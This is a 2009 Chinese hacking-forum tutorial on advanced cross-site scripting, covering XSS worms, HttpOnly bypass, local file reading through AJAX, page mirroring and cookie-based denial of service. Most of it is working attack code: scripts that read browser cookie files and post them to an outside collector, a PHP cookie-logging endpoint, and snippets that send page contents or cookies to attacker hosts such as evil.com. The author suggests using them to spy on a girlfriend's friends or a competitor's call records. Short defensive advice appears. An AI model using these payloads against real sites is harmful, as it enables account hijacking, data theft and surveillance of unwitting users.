XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
% K& _5 d1 P: T/ T# q9 ^本帖最后由 racle 于 2009-5-30 09:19 编辑
( t: Y0 d: Q& H; Y" t  D& g3 z
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
! b0 h8 I& _  |- TBy racle@tian6.com   
& m. f6 _$ w; dhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权



/ e3 d2 p( W; Z( q" F" ]-------------------------------------------前言---------------------------------------------------------
( P9 B9 \- n7 o
# W. F! j, `: d3 Q  Y- }. Y
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
! t+ f" S* I: M: i

如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

% K; {! K7 ?6 d# H7 X) r1 P4 z

5 W5 J1 [4 |4 |+ ^6 _
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
8 ~% a. Z5 A" @3 |# N5 ?' t0 s
! L, l# E/ G' g- G' L5 p4 n! C希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
# s$ ]4 G4 Y* X2 ?& G0 h
+ J$ B) W) ?1 O9 {6 O8 i如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
0 ^* g7 j7 {) i: H0 ^4 O) t' u
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
+ |5 s+ G4 o; r$ {5 [+ x
QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
. [0 i8 @" M4 I  t; a, u4 c" Q4 Z
$ e6 U; G. c2 K  n# E/ x& M什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
' ^* \0 u0 I/ z. y3 j
, P& N7 r+ N: @+ ?" R0 u# K: \! K

2 s" D0 m# M7 a6 e1 x跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

; y" U) M: L3 \6 S. v: K$ o/ X
- \& Q! C" G9 }2 Y2 s/ p2 d
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

6 l9 L" {: A! r3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.

7 G" `" H5 u" D5 l" e

------------------------------------------研究正题----------------------------------------------------------



! {1 @& s- r2 p* m) |7 m3 f通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
$ D7 p! G- K4 {  H+ w) d复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
+ ^! O+ ?. N! u7 |- v, q- x1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
; K' j3 J5 \' [+ _9 S
. d0 m2 g- c, z1 J8 ~8 J
3 m/ `( s4 J3 i$ Y
9 i" u' J5 Z0 J& \/ u. W

0 H+ N7 q  |5 u! E(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
" H6 p! k0 F/ B, U4 k/ {* H0 }
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

) m& A3 L9 Z: P- I1 p

% {. F, Z( V9 j$ q5 z    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

) U& F7 G- A( c; W

$ x- q6 r0 W5 [- w& \8 I* i- q    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
7 p" T, `* t& `1 f复制代码IE6使用ajax读取本地文件    <script>
6 u* o  Y6 b' h& e, z0 U# C% n
. `. G1 R7 x& u3 q" i2 J! n* ]8 A+ Z    function $(x){return document.getElementById(x)}
  `! G+ m; P+ l5 f0 E. [# B, s
' I7 s( ]* U" C2 K; t; ~
2 C( V5 n3 s! d# h% e6 G  c2 O) v
    function ajax_obj(){
# M) n! Q1 i8 l! z) f/ G' b& F
    var request = false;
5 a: v. e& q3 ~) J' k* g# v
* O* g  C: r+ B" b, j$ y- Q' O' l9 n& s    if(window.XMLHttpRequest) {
' }' v+ T& T0 I
1 h' I9 b9 @4 d" ?+ v    request = new XMLHttpRequest();

" o! w9 X. e( G0 ~  |  T    } else if(window.ActiveXObject) {
$ r" _! G' [. J* J! u+ K* {( D" n& l8 Z
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

3 A( e6 {2 x  k+ Z+ u, R8 e* L

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

2 Y- m$ U6 o/ E, n6 r    for(var i=0; i<versions.length; i++) {

7 x2 y) [4 T7 M, }4 N' f    try {

8 K" e( i' s9 P# G/ }1 w    request = new ActiveXObject(versions);
, P) t2 ^1 S8 v8 u/ H2 y
0 F1 D7 Z- I) S6 ?0 w6 i( M    } catch(e) {}

# ~4 ]3 i/ E1 u1 M  t1 c/ z    }

    }

    return request;
3 b2 f+ y& [! z
6 K  X& f9 P7 X( C$ ], E% `    }
) n/ V6 C% v0 V; c
    var _x = ajax_obj();
3 Q7 @8 q. E7 x2 ~! v$ K0 U) R# O
- x4 Q/ W3 D. X% l, ]; m! q0 H/ j    function _7or3(_m,action,argv){
6 _3 r( G) u5 P, }; b
    _x.open(_m,action,false);
, j; J( n8 z. J, ^* D- P# v9 [
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

- ~: k2 z$ E; E( Q- c* [    _x.send(argv);
# g2 V/ c: C3 x; \" b% q
    return _x.responseText;
0 R$ k( E8 h& W% G: }: k
    }



    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
- ^8 f1 Z. u% I7 W- r4 D
7 F6 H. V% j) B/ I# P- L    alert(txt);


7 ]. s' [( n' K% ]  n1 B5 o
    </script>
  P5 E: ^" q& e6 L. h复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}



    function ajax_obj(){
1 O  o5 T/ _; g) A
    var request = false;

- E# [. x$ I( c  b) R' v/ |( b    if(window.XMLHttpRequest) {
1 G: Z0 E; ~4 |/ I
( \% I+ r/ I$ ?( q$ l, N. K    request = new XMLHttpRequest();

  q- ]0 p! x' ]( ^    } else if(window.ActiveXObject) {
  ~( g7 q% o9 K/ A- t
! [8 Y9 S/ E' j5 [" C- N7 q2 V    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
; Q% w5 N4 o! X, J$ Y
2 R8 o3 F+ Y( R: Q& _

' f: ?! B8 h& L- ?7 l; [    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

" ?4 {- P# x) M; V( b    try {
! o* N* I0 T& d9 E1 P" i
7 W# P% ^2 L' O$ o5 V: D6 t: M    request = new ActiveXObject(versions);
5 e, _8 L3 G  S3 _& w
! L* d; h) O9 @    } catch(e) {}

4 y( B9 P/ B" I9 \    }
1 Y2 h  w- p- @" ?/ s% Y
( ]$ p+ z3 k( T/ B) O    }
! f( m5 t! o, @7 v
    return request;

% m% d: Z  W  x$ s. I    }
) x1 I, K3 o& r, S! g  v/ y
    var _x = ajax_obj();

    function _7or3(_m,action,argv){
; [* k) ^5 K  u5 f1 X) E# d% ?* r+ I
    _x.open(_m,action,false);
2 ~, e$ h5 v  `* o
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
) D6 H; W9 W5 e) s# D* ?( w
    return _x.responseText;
, l$ x, v  P* G8 t
    }



    var txt=_7or3("GET","1/11.txt",null);
3 d% f+ a" j5 P" }) O& `! [9 H
    alert(txt);



" f6 u" X: X. u" u; F    </script>
! B6 x( P0 G' m; v7 \. R6 \8 _复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


: s6 _' t3 X& b
% h5 i0 P$ c$ o3 j4 IChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
1 X! S, W- ~9 ~5 P* d+ u1 K) G

5 g0 M! T+ {& r7 Y7 B4 o' I
6 ]) A9 a* G: W7 I9 f6 {<?   

/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

$ b6 |- p- @% C) T. Z3 t  X     www.inbreak.net   

2 T' F) a+ ~' Q1 m* z/ Y# Y2 O& `     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

* u/ u+ z$ Y0 b' dheader("Content-Disposition: attachment;filename=kxlzx.htm");   
0 w! N1 X& B3 W* N# U) n" a
header("Content-type: application/kxlzx");   

/*  

     set header, so just download html file,and open it at local.  
1 v: S8 K/ c* @& P
*/  

8 G' W$ x1 o* z9 l; e0 p% O2 @. R?>   

, t# C# w8 }% T. k6 \3 ^5 ?<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

+ d' r3 o3 p, j& m     <input id="input" name="cookie" value="" type="hidden">   
( u$ f. c, Z: B
</form>   
2 z9 t. ~1 |) [* o. e/ H
6 {& ?) |6 d2 C' ?5 M<script>   
2 W8 u5 w2 @, `3 c% a2 E1 u3 }
% T  ^0 h3 k5 q; v; g* pfunction doMyAjax(user)   
$ N% n+ Y- C- p
1 Z, q9 T+ t' H# O9 k3 h5 O' ^% E2 B{   
" G/ _, k+ I4 n7 N- u% }
var time = Math.random();   

/*  
9 V9 \: m: _. a6 x$ h) C3 h
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
& N! V- U0 f/ `1 m
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

( }( H% t: \# Q- ?7 L: @and so on...  
, j3 ]  h8 K4 ^
*/  

! y4 w) H0 `$ I5 x$ K3 Dvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
  x( u& W6 N" O5 Y
   

  [( b; ]) u5 z/ g/ f- H6 DstartRequest(strPer);   


" H  V- k) X, |; m% S
/ }6 x/ ^" k6 p}   

   

function Enshellcode(txt)   

6 w) H) _' ~+ E) s; [: T  R$ d{   

var url=new String(txt);   

* v% m, H8 i- B9 G. M4 rvar i=0,l=0,k=0,curl="";   
/ t. y3 y2 ^4 s0 i' I9 \
: [; U( h9 I; p0 T" `  Xl= url.length;   
8 e  ~/ |; }5 y1 I2 g0 |
for(;i<l;i++){   
  z; d+ v+ C# i( L
9 z! O- ]  q7 p3 N1 e2 C& lk=url.charCodeAt(i);   
5 N: K5 r* h/ |
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
& p! {: |# X/ W& f
# q# P. G/ Z5 M2 h/ cif (l%2){curl+="00";}else{curl+="0000";}   
0 Z: E* g4 `, K; n# j. x
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   

. w. U2 g6 ~6 \; W+ }7 c  Y7 K}   

   

5 r3 b  q6 y2 [- ]7 B( J   
/ f  |5 m* z, y  ~0 w) _
/ X" w7 x5 B5 Y2 jvar xmlHttp;   
  a0 O% i6 B# q, a
9 y; |# ~9 Q2 |$ Y$ G) pfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   
# b% n8 l/ g0 K4 r  b
xmlHttp = new XMLHttpRequest();           

' Q0 l) W% F+ q     }   
' u6 h, b# C$ Y* u
3 j$ A3 V' b' s2 g) {     else if(window.ActiveXObject){   
+ B& j. p$ v" }" Z$ j6 T8 s
# V  L1 S, |* i1 }xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
0 k5 f" h; a1 f
}   
( s$ R! `4 {( p2 p
( A- O0 @# T# ^   
5 E( O% i  h1 W( j4 ]2 G
function startRequest(doUrl){   

   
1 s3 T' S3 E7 v  L( ~
     createXMLHttp();   
4 {4 A& k. n. x) T+ b9 m
! ]! d8 [2 r% s" x& u
" v  u1 F: B7 p/ D
! ?+ r; s  t4 b& u/ Z& c4 P     xmlHttp.onreadystatechange = handleStateChange;   
. g3 m+ ~* g7 |# l

8 o$ `$ w9 g0 R
     xmlHttp.open("GET", doUrl, true);   



" D1 r) l/ \5 u4 k/ i) `* V     xmlHttp.send(null);   
9 O, ]9 V1 L+ ?0 C! Z7 r% O
% H5 u/ h' m! S; w: I( e



}   

: W- ^1 a' ]- m   
. T' {* b& X' i. t2 B
function handleStateChange(){   
2 _$ N# z/ f' f) Q5 S, A4 h! \
     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

8 Y& e) L: B. b% T2 t     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

. b; f: ^: b: r        

4 }: X# H& b6 H7 ~     }   
$ x( M$ u9 A% q1 F: m7 I/ P
$ d+ t8 t" ]" q6 d+ i5 v# [* _}   
* c" _1 d- c5 @+ ^5 d$ X6 _1 V
& v' g, J& r/ }3 @$ X   
+ o/ I3 W: Z0 h* w2 E
   
- ?% T3 H! ~* O- N0 m
! t$ K6 r. P6 `4 ~0 U& r: r3 }" kfunction framekxlzxPost(text)   

{   
  L% U! _% j* V, T4 [
" @/ o1 v- p% O8 r- x! A# [* ?7 m     document.getElementById("input").value = Enshellcode(text);   

, b" q) o# T0 Z( v$ t# c0 l1 x8 N1 H     document.getElementById("form").submit();   

' v! O6 v/ ?$ J& @}   

% C- a0 U. q; F7 ^+ }* f/ A& m4 |   

doMyAjax("administrator");   

   
) E2 o$ N( E  z# r# B' R% ^
; x0 k- n, O( O% K: D9 u</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
7 f) c. m, i4 A# `: a4 O; ?
* O. f& y7 l- k4 K  tvar xmlHttp;  

. |1 j, z* C2 Dfunction createXMLHttp(){  

     if(window.XMLHttpRequest){  

7 d2 t/ M1 E6 j8 t0 H. L( B         xmlHttp = new XMLHttpRequest();         
. }1 X# V+ N/ }. W$ W# T. T
     }  

+ D% i, ^+ e: w1 D; x     else if(window.ActiveXObject){  

* V# C; U  i7 t% ~6 \. }         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

1 _! }2 M9 b8 j2 t9 U     }  
0 K, m" u2 u0 e2 G& y
}  

; {, X: {' u- ^, Y: {8 ?& N' i   

function startRequest(doUrl){  

           
8 n. I# S4 d2 O( V+ [
  D4 C2 j" @8 }8 `1 d: f     createXMLHttp();  
4 r/ T4 n0 G2 J% q; [. h" J+ d
      
6 ~# w7 b) P8 Q
     xmlHttp.onreadystatechange = handleStateChange;  

      
; r, [1 {6 W, x4 P% a% H
     xmlHttp.open("GET", doUrl, true);  

      
  \: C$ J7 m/ ]2 n6 S$ C" l
  P* E" e' m0 S: a' g     xmlHttp.send(null);  

$ h" k, D: b" [% S0 n( u* V      

      

0 z0 S9 Q2 T: C0 O# `$ ?}   

3 v8 W* }; R  B   

function handleStateChange(){  

* l* B4 w+ q. M     if (xmlHttp.readyState == 4 ){  
9 I- B* m& U% ^& w, g
- L5 ?- I2 J: X& `) ^             var strResponse = "";  
4 ]2 g. g% R8 n; k+ i+ Z
  ?7 g& ^6 d# i: ]2 k/ Q             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
2 Z& f4 H; H* _# f9 B/ h( b! i
9 W2 }) x( k0 p9 l9 d' I               

     }  
; j' c1 j7 t  }6 q. L8 k
/ ^; v- g+ u# Z& c" ]7 @7 \}  

   

function doMyAjax(user,file)  
) A/ @5 _+ `- n* P
{  

9 T0 i) G' z- x! J) H3 y         var time = Math.random();  
9 ^% h/ e' z* p
           

& N- y6 H! q; Z+ x# C" ^         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

; v0 [# R$ w- i* D: I           

         startRequest(strPer);  

      

}  

   

/ u- m- f" L% k# ufunction framekxlzxPost(text)  
( u- G5 l7 r$ a: _& o( Q. |. H* `' R
{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

}  
4 P6 T7 w5 d+ \) @( S4 K% i
* H5 @. A& X  h" J   
+ G1 D: R) m* t) X# a
doMyAjax('administrator','administrator@alibaba[1].txt');  

' Q* N! Q+ ]+ B& ^$ U   
* Z9 N  O' [' D5 N  r/ H+ _- c
9 z3 B$ [6 }( O* W</script>

7 q& @& y! L5 W$ K% j" _
% B, A4 ^; y3 L5 U3 G

& B. B% U) k9 c
4 @' ?1 S: ~$ ^# [' p) a7 L$ v* v+ ba.php
1 c& Z( J% g& i: s/ e
* b) B- d3 S3 h. r2 `* P1 l& U; G; a$ T
5 @' ^% ^0 s* p- t) j
$ @( a. T$ y2 x<?php      

0 c9 U2 n$ Q& w6 {: n$ U   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
' E2 q# C* N# c5 b0 w  F
1 e& F2 a/ ]5 w$ Q) ~, Q* \$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

: O$ h4 c# c  Z# ~  

; y9 p/ \7 C; v  F6 Y6 X9 j. ^0 G$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

% `$ c! B# I/ j3 u$ m% `fwrite($fp,$_GET["cookie"]);      
) B7 ^$ t! ], G, ?4 A4 ^4 s
fclose($fp);   
, p7 I' `+ z5 ~. V
?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

7 n) o) W3 Y. K' S& Q1 U或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
8 w% t9 |9 [2 |' k( C7 k7 `
( F) S4 L/ {6 Q$ l, l代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
0 @. b7 s- u- ?1 X* s$ y9 K5 v% v
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
" D% u1 q$ z3 d3 A: |. z
2 t) v8 G5 }. D; Z//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

( n4 j& O2 ^/ m. L% Cfunction getURL(s) {
" {5 r1 b6 U2 A' q6 l
4 B) z7 k/ F7 Y- ?% {" pvar image = new Image();
2 u3 h% L1 X  Z3 {+ \
  a. O) P& _% `, \) Y* cimage.style.width = 0;
1 u: J9 o, @6 U" V5 V
image.style.height = 0;
, L# A; N" {$ K3 Q- A( a- y
% R4 p, M& [3 G  A( {; C% nimage.src = s;

}
. a1 v( N" h& ~1 t/ J4 k5 I
, Q& ?9 R0 l# L0 RgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
* b5 P; N0 @2 E) i) ~9 a复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
  m' A& e  N( O* F5 p这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
1 G) Z1 L  c4 X, K( z
9 f; `" {# r8 o: O8 ~5 n7 i# _var str = "";

2 w  i" n. T+ ?5 Vwhile (str.length < 4000){

    str += metastr;

}
7 A/ r2 q; z8 q7 U
) E" K/ c: x! X/ \4 L, t

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

5 M8 T- ^! p8 k: u# A* b</script>
% ^$ m& o! L9 ^1 b- d9 \9 v$ ^0 J6 n& |
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
/ _0 |6 }; _7 \% F/ {% v复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


. R1 Y1 U! Q& s, u0 S
" }4 J/ E" x. k/ }% v! u  Z* Q; h
; o2 W8 O  o" H+ i2 t$ s1 ^2 f+ e

2 u% P9 T% b  V' r8 S. s/ U(III) Http only bypass 与 补救对策:
7 b# q- E, ]2 I
& Y# g9 @2 Z: J% o. v+ N什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
: Q7 f6 Z9 ^# @, h, M
; ?% j9 Y9 {  @8 e& i2 sfunction normalCookie() {
  Y5 h1 A- [; l2 N. f) c/ T1 |! H
document.cookie = "TheCookieName=CookieValue_httpOnly";
9 G4 K8 w$ K: x- g4 E! d  p. d3 l0 M. B
alert(document.cookie);
, Y- N  h' I* N' H) n
}
! H* z! X4 d) Q- U6 L$ Q! n; V4 ^
# O$ f. I  \7 Z' Q/ [



; s- Z8 W* N9 Ofunction httpOnlyCookie() {
2 w9 M' I( B) a4 c* J$ I
+ p/ X1 t7 r0 b' U0 C; ddocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

4 }5 @0 L& F  \9 ?8 ?# kalert(document.cookie);}
# Q) D/ p- ?6 S  f
& h  C& m/ Q2 t( _1 D& l( _

//-->
# W! c# {% P2 M1 {# H9 u1 O
</script>
' J4 `* t+ @3 H  v% n


2 I" ?4 _8 H* y& @  T- |4 u/ ~<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

; S3 L6 p/ m- Z/ ?* S<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
1 a' d) X; G) s

. ^1 x. E$ q: E. ]; ^5 n1 N
var request = false;
8 I* S: Q4 b; |
        if(window.XMLHttpRequest) {
" G. U' @4 _4 b" H: I: o
3 @0 ?' {8 O4 c1 C0 p' d8 Q9 `            request = new XMLHttpRequest();

! F" I! |( S/ L$ j& w- E( F3 {            if(request.overrideMimeType) {

; y- @! `- E: r, t( X                request.overrideMimeType('text/xml');

            }
; I% e3 i; Q2 v: U
        } else if(window.ActiveXObject) {

3 X7 t, M+ X9 H- c1 z4 ^7 g            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; [7 g# `! N+ X& \5 P$ {1 Q- `
' P( e2 J* @$ N            for(var i=0; i<versions.length; i++) {

8 e  n+ T& c8 I; m' Z  `                try {

                    request = new ActiveXObject(versions);

                } catch(e) {}
# U/ g) _0 `2 T& N
            }
8 L& ]0 m) |, S+ Q! a1 H7 ]
        }

xmlHttp=request;
% F" D/ L4 }  l! L0 ?0 P: |
# C3 R' r- f% M# l$ k- T& ?! KxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
& Z; D# y, E8 b% t' ^: Y0 f' b  \$ X5 `
3 r3 ?8 e$ Z! u+ U8 m3 fxmlDoc=xmlHttp.responseText;
$ i0 v4 ?+ J8 R. ?
alert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

! D. w* W0 m# ?1 m7 I& d( ~! xvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% T$ C9 s- a6 W% K7 Z( ~
& M: h8 P" I2 tXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

2 C/ |/ E. t" M% f$ l. a' p! pvar resource=xmlHttp.responseText

resource.search(/cookies/);

1 g$ E* l! ]; B, p1 K4 ?......................
6 W7 ]" D4 z+ S8 k+ t- @) ?
</script>
" h' v+ q+ j7 y  Y

3 T" I* e( S  p' \1 L* e" p! n# p
2 Z9 j% s0 l: u9 }' k- X  n5 v, O

' f' ?  |: _4 S如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

/ l, U, Y6 w8 o) i  @[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

9 I8 s" l8 c( V+ K% B$ O# D9 YRewriteRule .* - [F]
2 n: V' L* m/ K% K4 b


Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
9 t9 f" l7 P) o4 N
acl TRACE method TRACE

...
5 ~9 q! j) _- v% e
- U# @: B3 n- h2 I% C* |http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

: W  y2 O, Y% {$ p6 tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
+ c2 t! Y/ W0 g" `' A
- C. b5 w" Z4 nXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
, n$ u" S  i+ p, F5 C' {; c
XmlHttp.send(null);

7 P" b4 Y0 ?2 |! L8 g</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
- a6 _( J$ b8 G3 M9 O" g, Y* h
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
  g/ I( w( F. a  D
2 W1 M, o+ L0 Y$ G
" o3 k- q; o* Q( T) u  z, I
6 r" k( X9 |! ?0 V5 g' v2 qXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

0 X) B: x- I. f0 }, v  `; |XmlHttp.send(null);
